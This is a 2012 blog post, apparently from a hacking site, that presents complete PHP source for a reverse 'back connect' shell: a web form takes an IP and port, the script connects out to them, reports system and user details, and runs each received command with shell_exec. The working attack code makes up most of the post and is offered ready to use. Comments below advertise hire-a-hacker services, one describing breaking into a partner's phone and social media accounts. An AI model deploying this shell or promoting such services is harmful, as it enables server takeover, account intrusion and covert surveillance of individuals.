Thursday, June 14, 2012

Back connect Shell | Reverse Shell in PHP



Back Connect Shell also known as Reverse Shell is a Piece of Code which is used to Host a Shell on the Server or the Victim, But instead of sitting there and listening for connections (As in the Case of Bind Shell) it rather Connects Back to the Attacker Machine.

In this tutorial i’ll be making a Back Connect Shell in PHP-

Code-
back-connect.php
>Code: php

<?php
/*********************
@@author : Kumaran
@@facebook : facebook.com/hackersgrp
@@Email : mail4hackersgrp@gmail.com
********************/
ini_set ( 'max_execution_time' , 0 ) ;
?>
<html>
<head>
<title>Back Connect Shell -- PHP</title>
</head>
<body>
<h1>Welcome to Back Connect Control Panel </h1>
<p> Fill in the form Below to Start the Back Connect Service </p>
<?php
if ( isset ( $_GET [ 'port' ] ) &&
isset ( $_GET [ 'ip' ] ) &&
$_GET [ 'port' ] != "" &&
$_GET [ 'ip' ] != ""
)
{
echo "<p>The Program is now trying to connect!</p>" ;
$ip = $_GET [ 'ip' ] ;
$port = $_GET [ 'port' ] ;
$sockfd = fsockopen ( $ip , $port , $errno , $errstr ) ;
if ( $errno != 0 )
{
echo "<font color='red'><b>$errno</b> : $errstr</font>" ;
}
else if ( ! $sockfd )
{
$result = "<p>Fatal : An unexpected error was occured when trying to connect!</p>" ;
}
else
{
fputs ( $sockfd ,
" \n ================================================================= \n
Back Connect in PHP \n
Coded by kumaran \n
@@author : kumaran
@@facebook : facebook.com/hackersgrp
@@Email : mail4hackersgrp@gmail.com
\n =================================================================" ) ;
$pwd = shell_exec ( "pwd" ) ;
$sysinfo = shell_exec ( "uname -a" ) ;
$id = shell_exec ( "id" ) ;
$dateAndTime = shell_exec ( "time /t & date /T" ) ;
$len = 1337 ;
fputs ( $sockfd , $sysinfo . " \n " ) ;
fputs ( $sockfd , $pwd . " \n " ) ;
fputs ( $sockfd , $id . " \n \n " ) ;
fputs ( $sockfd , $dateAndTime . " \n \n " ) ;
while ( ! feof ( $sockfd ) )
{
$cmdPrompt = "(Shell)[$]>" ;
fputs ( $sockfd , $cmdPrompt ) ;
$command = fgets ( $sockfd , $len ) ;
fputs ( $sockfd , " \n " . shell_exec ( $command ) . " \n \n " ) ;
}
fclose ( $sockfd ) ;
}
}
else
{
?>
<table align= "center" >
<form method= "GET" >
<td>
<table style= "border-spacing: 6px;" >
<tr>
<td>Port</td>
<td>
<input style= "width: 200px;" name= "port" value= "31337" />
</td>
</tr>
<tr>
<td>IP </td>
<td><input style= "width: 100px;" name= "ip" size= '5' value= "127.0.0.1" />
</tr>
<tr>
<td>
<input style= "width: 90px;" class = "own" type= "submit" value= "Connect back:D!" />
</td>
</tr>

</table>
</td>
</form>
</tr>
</table>
<p align= "center" style= "color: red;" >Note : After clicking Submit button , The browser will start loading continuously , Dont close this window , Unless you are done!</p>
<?php
}
?>

Its as easy as a couple of clicks to make it work and to use..!

Dont forget to Like and comment..

3 comments:

Anonymous said...



In order to get a good and reliable hacker, it is advised you know first HOW TO HIRE A HACKER and how to know the hacker you should go for
hireverifiedhacker.wordpress.com

jane holly said...

My life was falling apart, I was being cheated and abused, I had to know the truth and needed proof. I contacted a private investigator that linked me with onlineghost who took care of the hack job. He hacked his iPhone,Facebook,Instagram, Whats app, twitter and email account. I got all I wanted as proof . I”m glad i had a proven truth he was cheating . Contact him for any hack job. Tell him i referred you to him, he will surely meet your hack need. Contact: onlineghosthacker247@ gmail .com

yanmaneee said...

jordan shoes
bape clothing
kyrie 7
retro jordans
off white hoodie
kyrie 6
kyrie irving shoes
paul george shoes
supreme clothing
kyrie 7 shoes

Post a Comment

 
Design by Secure Hackers